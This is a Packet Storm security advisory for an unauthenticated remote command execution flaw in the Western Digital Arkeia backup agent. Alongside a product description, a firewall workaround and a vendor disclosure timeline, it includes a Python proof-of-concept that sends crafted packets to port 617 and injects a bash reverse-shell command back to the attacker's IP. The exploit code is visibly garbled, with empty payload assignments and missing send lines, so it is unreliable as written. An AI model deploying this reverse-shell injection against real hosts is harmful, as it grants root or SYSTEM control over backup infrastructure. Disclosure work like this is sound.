Western Digital Arkeia 11.0.13 Remote Code Execution

Type packetstorm
Reporter xistence
Modified 2015-07-13T00:00:00


                                            `## Advisory Information  
Title: Western Digital Arkeia "ARKFS_EXEC_CMD" <= v11.0.12 Remote Code  
Submitter: xistence <xistence[at]0x90.nl>  
Date published: 2015-07-10  
Vendors contacted: Western Digital / Arkeia  
Class: OS Command Injection [CWE-78]  
Impact: Code execution  
Remotely Exploitable: Yes  
## Product Description  
The WD Arkeia network backup suite comprises WD Arkeia software's suite of  
backup-and-restore solutions. Administrators can deploy WD Arkeia's backup  
servers as software applications, hardware appliances or virtual  
appliances. WD is the first data protection company to deliver commercial  
support for all three modes of backup server deployment, including  
heterogeneous deployments.  
Administrators manage WD Arkeia primarily through a Web-based  
user-interface. A command-line interface provides equivalent access and is  
more suitable when scripts or customization is desired.  
WD Arkeia supports over 200 different physical platforms, including  
virtually all Linux and Windows platforms, as well as AIX, BSD, HP-UX, Mac  
OS X, Netware and Solaris, so you can centrally manage backups of all your  
data. We also support virtual environments with a vStorage-based agent for  
VMware vSphere and a VSS-based agent for Microsoft Hyper-V. We support  
image backups of Citrix XenServer and Parallels Server 4 Bare Metal—and  
will support image backups of RHEV as soon as Red Hat APIs make it possible.  
WD Arkeia provides hot backup agents for a dozen databases, applications  
agents and directory servers. We support backups to disk and to virtually  
every tape drive and tape library on the market. Arkeia even supports cloud  
storage options.  
## Vulnerability  
Arkeia provides an agent which can be installed on a windows/*nix system to  
make backups. This agent needs to listen on TCP port 617 on the network  
interface to allow for communication between the central Arkeia  
server/appliance and the agent.  
The agent is not only installed on the client, but also by default on the  
central Arkeia backup server/appliance.  
Before or after a backup session it's possible to run commands on the  
agent's system. This calls the function "ARKFS_EXEC_CMD" in the Arkeia  
communication protocol to execute a script on the remote system.  
It is however possible to bypass the authentication validation, which makes  
it possible to execute these scripts without being authenticated.  
The script name that's supposed to be executed can have a maximum length of  
255 bytes. Instead of scripts it's also possible to execute direct commands  
and thus makes it possible to perform remote code execution.  
As stated above, this allows for remote code execution on every  
workstation/server that runs the agent, including the central Arkeia backup  
server as well!  
Command execution is done with "SYSTEM" privileges on windows and "root"  
privilegs on linux/*nix.  
## Exploit  
Below is a simple PoC, a full exploit will be submitted to Metasploit.  
import socket, sys  
from struct import *  
if (len(sys.argv) != 4):  
print "[*] Usage: " + sys.argv[0] + " <IP of agent> <Own IP> <Own port>"  
print "[*] i.e.:" + sys.argv[0] + " 8888"  
print ""  
payload1 = "\x00\x41\x00\x00\x00\x00\x00\x70" + "\x00"*12 +  
"\xc0\xa8\x02\x8a" + "\x00"*56 +  
+ "\x00"*11  
payload2 = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32" + "\x00"*11  
payload3 =  
+ "\x00"*11  
payload4 =  
+ "\x00"*11  
cmd = "bash -i >& /dev/tcp/" + sys.argv[2] + "/" + sys.argv[3] + " 0>&1"  
# Length of command  
cmdLength = chr(len(cmd))  
payload5 =  
+ "\x00"*12 + "\x64\x00\x04\x00\x04\x00" + cmdLength + cmd + "\x00"  
print "[*] - Sending payloads"  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1], 617))  
print "[*] - Requesting shell"  
## Solution  
No fix available (yet) from vendor.  
Recommended workaround: Firewall access to TCP port 617 where possible  
## Disclosure Timeline  
2015-01-07 - Contacted vendor with vulnerability information  
2015-01-07 - Vendor responded that they will investigate the issue  
2015-01-27 - Requested status update  
2015-01-27 - Vendor responded that issue has been escalated  
2015-02-25 - Requested status update  
2015-03-13 - Vendor responded that case is still open and further  
information will be provided later  
2015-05-11 - Requested status update  
2015-xx-xx - No response from vendor  
2015-05-26 - Requested status update  
2015-xx-xx - No response from vendor  
2015-07-10 - Public disclosure of vulnerability